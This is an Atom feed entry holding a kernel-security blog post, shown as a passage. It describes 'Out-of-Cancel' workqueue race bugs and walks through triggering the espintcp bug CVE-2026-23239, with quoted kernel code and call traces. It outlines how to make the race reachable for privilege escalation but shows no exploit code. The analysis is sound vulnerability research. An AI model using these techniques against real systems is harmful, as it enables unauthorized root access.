<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://v4bel.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://v4bel.github.io/" rel="alternate" type="text/html" /><updated>2026-08-07T19:37:41+00:00</updated><id>https://v4bel.github.io/feed.xml</id><title type="html">Project V4bel</title><subtitle></subtitle><entry><title type="html">Out-of-Cancel: A Vulnerability Class Rooted in Workqueue Cancellation APIs</title><link href="https://v4bel.github.io/linux/2026/03/23/ooc.html" rel="alternate" type="text/html" title="Out-of-Cancel: A Vulnerability Class Rooted in Workqueue Cancellation APIs" /><published>2026-03-23T00:00:00+00:00</published><updated>2026-03-23T00:00:00+00:00</updated><id>https://v4bel.github.io/linux/2026/03/23/ooc</id><content type="html" xml:base="https://v4bel.github.io/linux/2026/03/23/ooc.html"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>Last year, while exploiting a kernel vulnerability in a specific Linux distribution, I encountered a situation where I needed to intentionally delay the execution of a worker. To deal with this, I looked into the Linux kernel workqueue mechanism and happened to find a <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=86898fa6b8cd9">relatively new API</a> called <code class="language-plaintext highlighter-rouge">disable_work_sync()</code>. This API was introduced not just to cancel work that is currently running, but to prevent the work itself from being queued again later.</p>

<p>With existing work items, the <code class="language-plaintext highlighter-rouge">cancel_work_sync()</code> family of APIs could stop a “currently running task”, but there was no fundamental way to prevent the same work from being scheduled again through another path. Unlike tasklets, this means that, in a workqueue-based asynchronous execution model, it is hard to safely control an object’s lifetime using cancellation alone. The fact that <code class="language-plaintext highlighter-rouge">disable_work_sync()</code> was added to cover this gap strongly suggests that there is a subtle design issue or vulnerability related to this somewhere in the kernel.</p>

<p>Based on this idea, I started my analysis in the networking subsystem, specifically <code class="language-plaintext highlighter-rouge">TCP</code> and <code class="language-plaintext highlighter-rouge">ULP (Upper Layer Protocol)</code>. TCP is a very complex state machine on its own, and ULP is designed to hook into its internal operation. Because of this, I had long suspected that the TCP code and its surrounding paths could hide issues beyond simple implementation mistakes, including more fundamental synchronization and lifetime management problems.</p>

<p>As a result of the analysis, I found multiple race condition vulnerabilities that keep showing up in code patterns that rely on synchronous worker cancellation. In this article, I call this class of vulnerabilities <code class="language-plaintext highlighter-rouge">Out-of-Cancel</code> bugs. These are bugs that appear when the <code class="language-plaintext highlighter-rouge">_cancel</code> APIs are treated as a barrier that guarantees an object’s lifetime, even though the object can still “escape” through other asynchronous paths and get rescheduled.</p>

<p>This article uses the <code class="language-plaintext highlighter-rouge">espintcp</code> vulnerability (<code class="language-plaintext highlighter-rouge">CVE-2026-23239</code>) as a case study to look at the structure in which this Out-of-Cancel bug class shows up, and to walk through how combining complex kernel interleavings makes the bug actually exploitable. In particular, it shows how different execution mechanisms such as <code class="language-plaintext highlighter-rouge">interrupts</code>, <code class="language-plaintext highlighter-rouge">Delayed ACK</code>, <code class="language-plaintext highlighter-rouge">timers</code>, <code class="language-plaintext highlighter-rouge">workqueues</code>, and the <code class="language-plaintext highlighter-rouge">scheduler</code> come together into a single race scenario, and based on that, it explains how to build an exploit sequence in practice.</p>

<p>All analysis and code path descriptions in this article are based on the Linux kernel v6.18 source tree, and the test kernel was built from an Ubuntu 25.10 configuration with unnecessary options removed.</p>

<h1 id="cancellation-based-synchronization-as-a-bug-class">Cancellation-Based Synchronization as a Bug Class</h1>

<p>In many parts of the kernel, object teardown usually follows a pattern like this. First, the work is cleaned up using the <code class="language-plaintext highlighter-rouge">_cancel</code> APIs, and then the object is freed. On the surface, this looks safe, but this pattern carries a structural weakness in that it relies on cancellation to manage the object’s lifetime. The <code class="language-plaintext highlighter-rouge">_cancel</code> APIs can clean up work that is currently running or already queued, but they do not fundamentally prevent the same work from being queued again through another path.</p>

<p>Simplified, it can be illustrated as follows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>           cpu0                           cpu1

test_destroy()
  cancel_work_sync(&amp;test-&gt;work);
                                   test_something()
                                     schedule_work(&amp;test-&gt;work);
  kfree(test);
                                   [ kworker/1 ]
                                   test_work_handler()
                                     test-&gt;a = b;    // Use-After-Free
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">test_destroy()</code> frees the object after cancellation, but if <code class="language-plaintext highlighter-rouge">schedule_work()</code> is called again on another CPU, the work can be queued again. As a result, an already freed object can be dereferenced. Of course, for this to happen, <code class="language-plaintext highlighter-rouge">test_destroy()</code> and <code class="language-plaintext highlighter-rouge">test_something()</code> must not be protected by the same lock. This issue is not limited to <code class="language-plaintext highlighter-rouge">cancel_work_sync()</code>. The same applies to other cancellation APIs, including <code class="language-plaintext highlighter-rouge">cancel_delayed_work_sync()</code>.</p>

<p>The important point is that this is not simply a case of a missing lock or a forgotten condition check. The core problem is the design itself, which treats the <code class="language-plaintext highlighter-rouge">_cancel</code> APIs as if they were a synchronization barrier for the object’s lifetime. Cancellation can stop or clean up “what is running right now”, but it does not provide a lifetime guarantee in the sense of “this will never run again”.</p>

<p>In the rest of this article, I refer to this class of vulnerability patterns as <code class="language-plaintext highlighter-rouge">Out-of-Cancel</code> bugs.</p>

<h1 id="backstory-the-ulp-implementation-model">Backstory: The ULP Implementation Model</h1>

<p>Out-of-Cancel bugs showed up most often around the ULP layer and the code around it.</p>

<p>ULP is implemented in a way that “intrusively” hooks into the TCP stack. It attaches callbacks at various points in the receive path, send path, error handling, and other callback sites to extend or modify TCP behavior. This design gives a lot of flexibility, but it also tends to blur the boundaries around object ownership, lifetime, and execution context. In particular, ULP processes stream data through shared infrastructure such as strparser, and along the way it naturally ends up interacting with several of the kernel’s asynchronous execution mechanisms, including workqueues, timers, and softirqs.</p>

<p>TCP itself is already a very complex state machine. Connection setup and teardown, congestion control, retransmission, and delayed ACK handling are all intertwined. Once ULP is added on top of this, even a small implementation mistake or an incomplete teardown path can end up interacting with other parts of TCP in unexpected ways.</p>

<p>One of these ULPs is <code class="language-plaintext highlighter-rouge">espintcp</code>. espintcp is a ULP module that sits on top of a TCP socket to implement TCP-based ESP transport as defined in RFC 8229. Its implementation follows the usual ULP model. When a ULP is attached to a TCP socket, it registers callbacks at several points in the receive and send paths, and it uses its own workqueues and timers when it needs asynchronous processing. In short, espintcp goes deep into TCP’s execution flow and works by intercepting or extending data processing and state transitions.</p>

<p>Looking at the code, espintcp allocates and initializes a <code class="language-plaintext highlighter-rouge">struct espintcp_ctx</code> via a <code class="language-plaintext highlighter-rouge">setsockopt("espintcp")</code> call and then attaches it to the socket. During this setup, function pointers such as <code class="language-plaintext highlighter-rouge">-&gt;sendmsg</code>, <code class="language-plaintext highlighter-rouge">-&gt;recvmsg</code>, <code class="language-plaintext highlighter-rouge">-&gt;sk_write_space</code>, and <code class="language-plaintext highlighter-rouge">-&gt;sk_data_ready</code> are replaced with espintcp’s own implementations, which lets it hook into TCP’s send and receive paths and its event handling paths. As a result, espintcp arranges for its own logic to run on data processing, buffer state changes, and various asynchronous events during TCP communication.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">struct</span> <span class="n">tcp_ulp_ops</span> <span class="n">espintcp_ulp</span> <span class="n">__read_mostly</span> <span class="o">=</span> <span class="p">{</span>
        <span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="s">"espintcp"</span><span class="p">,</span>
        <span class="p">.</span><span class="n">owner</span> <span class="o">=</span> <span class="n">THIS_MODULE</span><span class="p">,</span>
        <span class="p">.</span><span class="n">init</span> <span class="o">=</span> <span class="n">espintcp_init_sk</span><span class="p">,</span>
<span class="p">};</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">build_protos</span><span class="p">(</span><span class="k">struct</span> <span class="n">proto</span> <span class="o">*</span><span class="n">espintcp_prot</span><span class="p">,</span>
                         <span class="k">struct</span> <span class="n">proto_ops</span> <span class="o">*</span><span class="n">espintcp_ops</span><span class="p">,</span>
                         <span class="k">const</span> <span class="k">struct</span> <span class="n">proto</span> <span class="o">*</span><span class="n">orig_prot</span><span class="p">,</span>
                         <span class="k">const</span> <span class="k">struct</span> <span class="n">proto_ops</span> <span class="o">*</span><span class="n">orig_ops</span><span class="p">)</span>
<span class="p">{</span>
        <span class="n">memcpy</span><span class="p">(</span><span class="n">espintcp_prot</span><span class="p">,</span> <span class="n">orig_prot</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">proto</span><span class="p">));</span>
        <span class="n">memcpy</span><span class="p">(</span><span class="n">espintcp_ops</span><span class="p">,</span> <span class="n">orig_ops</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">proto_ops</span><span class="p">));</span>
        <span class="n">espintcp_prot</span><span class="o">-&gt;</span><span class="n">sendmsg</span> <span class="o">=</span> <span class="n">espintcp_sendmsg</span><span class="p">;</span>
        <span class="n">espintcp_prot</span><span class="o">-&gt;</span><span class="n">recvmsg</span> <span class="o">=</span> <span class="n">espintcp_recvmsg</span><span class="p">;</span>
        <span class="n">espintcp_prot</span><span class="o">-&gt;</span><span class="n">close</span> <span class="o">=</span> <span class="n">espintcp_close</span><span class="p">;</span>
        <span class="n">espintcp_prot</span><span class="o">-&gt;</span><span class="n">release_cb</span> <span class="o">=</span> <span class="n">espintcp_release</span><span class="p">;</span>
        <span class="n">espintcp_ops</span><span class="o">-&gt;</span><span class="n">poll</span> <span class="o">=</span> <span class="n">espintcp_poll</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">espintcp_init_sk</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">inet_connection_sock</span> <span class="o">*</span><span class="n">icsk</span> <span class="o">=</span> <span class="n">inet_csk</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="k">struct</span> <span class="n">strp_callbacks</span> <span class="n">cb</span> <span class="o">=</span> <span class="p">{</span>
                <span class="p">.</span><span class="n">rcv_msg</span> <span class="o">=</span> <span class="n">espintcp_rcv</span><span class="p">,</span>
                <span class="p">.</span><span class="n">parse_msg</span> <span class="o">=</span> <span class="n">espintcp_parse</span><span class="p">,</span>
        <span class="p">};</span>
        <span class="k">struct</span> <span class="n">espintcp_ctx</span> <span class="o">*</span><span class="n">ctx</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">err</span><span class="p">;</span>

        <span class="cm">/* sockmap is not compatible with espintcp */</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_user_data</span><span class="p">)</span>
                <span class="k">return</span> <span class="o">-</span><span class="n">EBUSY</span><span class="p">;</span>

        <span class="n">ctx</span> <span class="o">=</span> <span class="n">kzalloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">ctx</span><span class="p">),</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ctx</span><span class="p">)</span>
                <span class="k">return</span> <span class="o">-</span><span class="n">ENOMEM</span><span class="p">;</span>

        <span class="n">err</span> <span class="o">=</span> <span class="n">strp_init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">strp</span><span class="p">,</span> <span class="n">sk</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cb</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">err</span><span class="p">)</span>
                <span class="k">goto</span> <span class="n">free</span><span class="p">;</span>

        <span class="n">__sk_dst_reset</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>

        <span class="n">strp_check_rcv</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">strp</span><span class="p">);</span>
        <span class="n">skb_queue_head_init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">ike_queue</span><span class="p">);</span>
        <span class="n">skb_queue_head_init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">out_queue</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_family</span> <span class="o">==</span> <span class="n">AF_INET</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_prot</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">espintcp_prot</span><span class="p">;</span>
                <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_socket</span><span class="o">-&gt;</span><span class="n">ops</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">espintcp_ops</span><span class="p">;</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                <span class="n">mutex_lock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tcpv6_prot_mutex</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">espintcp6_prot</span><span class="p">.</span><span class="n">recvmsg</span><span class="p">)</span>
                        <span class="n">build_protos</span><span class="p">(</span><span class="o">&amp;</span><span class="n">espintcp6_prot</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">espintcp6_ops</span><span class="p">,</span> <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_prot</span><span class="p">,</span> <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_socket</span><span class="o">-&gt;</span><span class="n">ops</span><span class="p">);</span>
                <span class="n">mutex_unlock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tcpv6_prot_mutex</span><span class="p">);</span>

                <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_prot</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">espintcp6_prot</span><span class="p">;</span>
                <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_socket</span><span class="o">-&gt;</span><span class="n">ops</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">espintcp6_ops</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">ctx</span><span class="o">-&gt;</span><span class="n">saved_data_ready</span> <span class="o">=</span> <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_data_ready</span><span class="p">;</span>
        <span class="n">ctx</span><span class="o">-&gt;</span><span class="n">saved_write_space</span> <span class="o">=</span> <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_write_space</span><span class="p">;</span>
        <span class="n">ctx</span><span class="o">-&gt;</span><span class="n">saved_destruct</span> <span class="o">=</span> <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_destruct</span><span class="p">;</span>
        <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_data_ready</span> <span class="o">=</span> <span class="n">espintcp_data_ready</span><span class="p">;</span>
        <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_write_space</span> <span class="o">=</span> <span class="n">espintcp_write_space</span><span class="p">;</span>
        <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_destruct</span> <span class="o">=</span> <span class="n">espintcp_destruct</span><span class="p">;</span>
        <span class="n">rcu_assign_pointer</span><span class="p">(</span><span class="n">icsk</span><span class="o">-&gt;</span><span class="n">icsk_ulp_data</span><span class="p">,</span> <span class="n">ctx</span><span class="p">);</span>
        <span class="n">INIT_WORK</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">work</span><span class="p">,</span> <span class="n">espintcp_tx_work</span><span class="p">);</span>

        <span class="cm">/* avoid using task_frag */</span>
        <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_allocation</span> <span class="o">=</span> <span class="n">GFP_ATOMIC</span><span class="p">;</span>
        <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_use_task_frag</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>

        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

<span class="nl">free:</span>
        <span class="n">kfree</span><span class="p">(</span><span class="n">ctx</span><span class="p">);</span>
        <span class="k">return</span> <span class="n">err</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>For example, when a packet is received on a socket with espintcp enabled, the receive path proceeds in the following order.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ NET_RX softirq ]
net_rx_action()   // Incoming data arrives
  ...
    tcp_v4_rcv()
      tcp_v4_do_rcv()
        tcp_rcv_established()
          tcp_data_queue()
            sk_data_ready(sk)    // Notify receive event
              strp_data_ready(sk)    // Notify strparser that data is available to read
                queue_work(strp_wq, &amp;strp-&gt;work)    // Schedule the strp_work() worker

[ kworker ]
strp_work()
  do_strp_work()
    strp_read_sock()
      tcp_read_sock()    // sock-&gt;ops-&gt;read_sock()
        __tcp_read_sock()
          strp_recv()
            espintcp_parse()  // (*strp-&gt;cb.parse_msg)()
            espintcp_rcv()    // strp-&gt;cb.rcv_msg()
</code></pre></div></div>

<p>The goal of this flow is to reconstruct the “byte stream” provided by TCP into “record based messages” that espintcp can understand. <code class="language-plaintext highlighter-rouge">tcp_read_sock()</code> takes skb objects that are already queued in the TCP receive queue one by one and passes them to <code class="language-plaintext highlighter-rouge">strp_recv()</code>. <code class="language-plaintext highlighter-rouge">strp_recv()</code> accumulates this data and uses strparser to reassemble message boundaries. In this process, <code class="language-plaintext highlighter-rouge">espintcp_parse()</code> is responsible for determining the length of the next record at the current position in the stream. In the case of espintcp, it reads the first two bytes as a length field and returns the total length of the record. Once strparser has collected that many bytes, the completed record skb is delivered to <code class="language-plaintext highlighter-rouge">espintcp_rcv()</code>.</p>

<p><code class="language-plaintext highlighter-rouge">espintcp_rcv()</code> receives this completed record, inspects the message contents, and then distinguishes between ESP traffic and non-ESP (IKE) traffic. Messages identified as non-ESP are queued into <code class="language-plaintext highlighter-rouge">ctx-&gt;ike_queue</code> via <code class="language-plaintext highlighter-rouge">handle_nonesp()</code> so that they can later be read from user space with <code class="language-plaintext highlighter-rouge">recvmsg()</code>. Messages identified as ESP are passed to a separate processing path. In other words, this entire call chain forms the receive pipeline in which espintcp reconstructs its own protocol message boundaries on top of the TCP stream and then demultiplexes them by type.</p>

<p>Finally, when the user calls <code class="language-plaintext highlighter-rouge">recvmsg()</code>, the previously registered <code class="language-plaintext highlighter-rouge">espintcp_recvmsg()</code> is executed and copies messages that were queued into <code class="language-plaintext highlighter-rouge">ctx-&gt;ike_queue</code> by <code class="language-plaintext highlighter-rouge">espintcp_rcv()</code> in the earlier receive path into user space.</p>

<h1 id="case-study-on-espintcp---cve-2026-23239">Case Study on espintcp - CVE-2026-23239</h1>

<p>In this article, among the Out-of-Cancel class of bugs that I discovered and patched during this research, I use the <code class="language-plaintext highlighter-rouge">espintcp</code> vulnerability (<code class="language-plaintext highlighter-rouge">CVE-2026-23239</code>) as a representative case and explain how it is triggered and how the exploit scenario works.</p>

<p>Notably, unlike most kernel vulnerabilities, CVE-2026-23239 does not require creating a user namespace to trigger.</p>

<p>The core of this espintcp vulnerability is in <code class="language-plaintext highlighter-rouge">espintcp_close()</code>. Below is the implementation of <code class="language-plaintext highlighter-rouge">espintcp_close()</code> that causes the problem.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">espintcp_close</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="kt">long</span> <span class="n">timeout</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">espintcp_ctx</span> <span class="o">*</span><span class="n">ctx</span> <span class="o">=</span> <span class="n">espintcp_getctx</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="k">struct</span> <span class="n">espintcp_msg</span> <span class="o">*</span><span class="n">emsg</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">partial</span><span class="p">;</span>

        <span class="n">strp_stop</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">strp</span><span class="p">);</span>

        <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_prot</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">tcp_prot</span><span class="p">;</span>
        <span class="n">barrier</span><span class="p">();</span>

        <span class="n">cancel_work_sync</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">work</span><span class="p">);</span>    <span class="c1">// Not protected by lock_sock()</span>
        <span class="n">strp_done</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">strp</span><span class="p">);</span>

        <span class="n">skb_queue_purge</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">out_queue</span><span class="p">);</span>
        <span class="n">skb_queue_purge</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">ike_queue</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">emsg</span><span class="o">-&gt;</span><span class="n">len</span><span class="p">)</span> <span class="p">{</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">emsg</span><span class="o">-&gt;</span><span class="n">skb</span><span class="p">)</span>
                        <span class="n">kfree_skb</span><span class="p">(</span><span class="n">emsg</span><span class="o">-&gt;</span><span class="n">skb</span><span class="p">);</span>
                <span class="k">else</span>
                        <span class="n">sk_msg_free</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">emsg</span><span class="o">-&gt;</span><span class="n">skmsg</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="n">tcp_close</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">timeout</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The problem is that it uses <code class="language-plaintext highlighter-rouge">cancel_work_sync()</code> instead of <code class="language-plaintext highlighter-rouge">disable_work_sync()</code>, and that this call is made outside <code class="language-plaintext highlighter-rouge">lock_sock()</code>. Because of this, <code class="language-plaintext highlighter-rouge">&amp;ctx-&gt;work</code> can still be scheduled again even after <code class="language-plaintext highlighter-rouge">cancel_work_sync(&amp;ctx-&gt;work)</code> returns, and a race can occur between the remaining cleanup steps in the close path and the worker execution. This is the root cause of the vulnerability.</p>

<p>The function that schedules this <code class="language-plaintext highlighter-rouge">&amp;ctx-&gt;work</code> is the <code class="language-plaintext highlighter-rouge">espintcp_write_space()</code> hook, which replaces <code class="language-plaintext highlighter-rouge">-&gt;sk_write_space()</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">espintcp_write_space</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">espintcp_ctx</span> <span class="o">*</span><span class="n">ctx</span> <span class="o">=</span> <span class="n">espintcp_getctx</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>

        <span class="n">schedule_work</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">work</span><span class="p">);</span>
        <span class="n">ctx</span><span class="o">-&gt;</span><span class="n">saved_write_space</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In socket I/O, <code class="language-plaintext highlighter-rouge">-&gt;sk_write_space()</code> is a hook that is called when there is free space in the send buffer. It notifies the upper layer that the socket has become writable again and triggers the send path to continue. <code class="language-plaintext highlighter-rouge">espintcp_write_space()</code> intercepts this event and reschedules the espintcp worker (<code class="language-plaintext highlighter-rouge">ctx-&gt;work</code>), causing data queued in its internal buffers to be processed again and transmission to resume.
This <code class="language-plaintext highlighter-rouge">espintcp_write_space()</code> is called from the ACK path during TCP data transmission.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ process context ]
sendmsg(client_sk)
  espintcp_sendmsg()
    espintcp_push_msgs()
      espintcp_sendskmsg_locked()
        tcp_sendmsg_locked()
          tcp_push()
            __tcp_push_pending_frames()
              tcp_write_xmit()
                tcp_transmit_skb()
                  ...
                    raise NET_RX_SOFTIRQ

[ NET_RX softirq context - sending DATA ]
net_rx_action()
  ...
    tcp_v4_rcv()
      sk = __inet_lookup_skb()    // sk: server_sk
      tcp_v4_do_rcv(server_sk)
        tcp_rcv_established()
          __tcp_ack_snd_check()
            tcp_send_ack()
              __tcp_send_ack()
                __tcp_transmit_skb()
                  ...
                    raise NET_RX_SOFTIRQ

[ NET_RX softirq context - ACK ]
net_rx_action()
  ...
    tcp_v4_rcv()
      sk = __inet_lookup_skb()    // sk: client_sk
      tcp_v4_do_rcv(client_sk)
        tcp_rcv_established()
          tcp_data_snd_check()
            tcp_check_space()
              espintcp_write_space()
                schedule_work(&amp;ctx-&gt;work);
</code></pre></div></div>

<p>To achieve privilege escalation, this race condition needs to be triggered in a reliable way in a loopback setup. When a user calls <code class="language-plaintext highlighter-rouge">sendmsg()</code> on a socket with espintcp enabled, the send path runs, and the corresponding ACK processing comes back almost immediately through the <code class="language-plaintext highlighter-rouge">NET_RX</code> path. In this process, the ACK ends up calling <code class="language-plaintext highlighter-rouge">sk_write_space()</code>, which in turn triggers <code class="language-plaintext highlighter-rouge">schedule_work(&amp;ctx-&gt;work)</code> through <code class="language-plaintext highlighter-rouge">espintcp_write_space()</code>.</p>

<p>The problem is that, unless this ACK based softirq receive path is delayed by tens of µs, in most cases <code class="language-plaintext highlighter-rouge">schedule_work(&amp;ctx-&gt;work)</code> is handled while the <code class="language-plaintext highlighter-rouge">sendmsg()</code> context is still running. In other words, worker scheduling effectively happens inside the execution flow of <code class="language-plaintext highlighter-rouge">sendmsg()</code>.</p>

<p>On the other hand, the <code class="language-plaintext highlighter-rouge">espintcp_close()</code> that needs to race does not run immediately when the user calls <code class="language-plaintext highlighter-rouge">close()</code>. Instead, it is invoked through the socket release path when the reference count (<code class="language-plaintext highlighter-rouge">f_count</code>) of the <code class="language-plaintext highlighter-rouge">struct file</code> finally drops to zero in the VFS layer. If another thread is still running <code class="language-plaintext highlighter-rouge">sendmsg()</code>, that thread still holds a file reference, so the actual socket release does not happen yet, and <code class="language-plaintext highlighter-rouge">espintcp_close()</code> is not called either.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">long</span> <span class="nf">__sys_sendmsg</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="k">struct</span> <span class="n">user_msghdr</span> <span class="n">__user</span> <span class="o">*</span><span class="n">msg</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">,</span>
                   <span class="n">bool</span> <span class="n">forbid_cmsg_compat</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">msghdr</span> <span class="n">msg_sys</span><span class="p">;</span>
        <span class="k">struct</span> <span class="n">socket</span> <span class="o">*</span><span class="n">sock</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">forbid_cmsg_compat</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">MSG_CMSG_COMPAT</span><span class="p">))</span>
                <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>

        <span class="n">CLASS</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">f</span><span class="p">)(</span><span class="n">fd</span><span class="p">);</span>    <span class="c1">// f_count management</span>

        <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>As a result, the point in time when <code class="language-plaintext highlighter-rouge">espintcp_sendmsg()</code> is running and the point in time when <code class="language-plaintext highlighter-rouge">espintcp_close()</code> runs cannot overlap, and structurally there is no race between the two. In other words, in a loopback setup, simply calling <code class="language-plaintext highlighter-rouge">sendmsg()</code> and <code class="language-plaintext highlighter-rouge">close()</code> in parallel is not enough to create a race between <code class="language-plaintext highlighter-rouge">espintcp_close()</code> and the send path.</p>

<p>To trigger this vulnerability, we need something extra that makes <code class="language-plaintext highlighter-rouge">espintcp_close()</code> and <code class="language-plaintext highlighter-rouge">espintcp_write_space()</code> actually run at the same time, using an asynchronous execution path that operates independently of the <code class="language-plaintext highlighter-rouge">sendmsg()</code> path. There are two approaches to satisfy this condition.</p>

<p>The first approach is to use ksoftirqd to make the <code class="language-plaintext highlighter-rouge">NET_RX</code> softirq work that calls <code class="language-plaintext highlighter-rouge">espintcp_write_space()</code> race with <code class="language-plaintext highlighter-rouge">espintcp_close()</code>. ksoftirqd is a per-CPU kernel thread that is scheduled to handle softirqs when they cannot be processed immediately in interrupt context or when they are deferred. Since it is a kernel thread, it runs in normal process context and can run in parallel with <code class="language-plaintext highlighter-rouge">espintcp_close()</code> on another CPU. As a result, when <code class="language-plaintext highlighter-rouge">NET_RX</code> softirq processing is pushed into the ksoftirqd context, conditions are created where <code class="language-plaintext highlighter-rouge">espintcp_write_space()</code> can actually run at the same time as the close path.</p>

<p>Abstracted, this scenario looks like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>           cpu0                           cpu1

close()
  inet_release()
    espintcp_close()
      cancel_work_sync(&amp;ctx-&gt;work);
                                   [ ksoftirqd/1 ]
                                   net_rx_action()
                                     ...
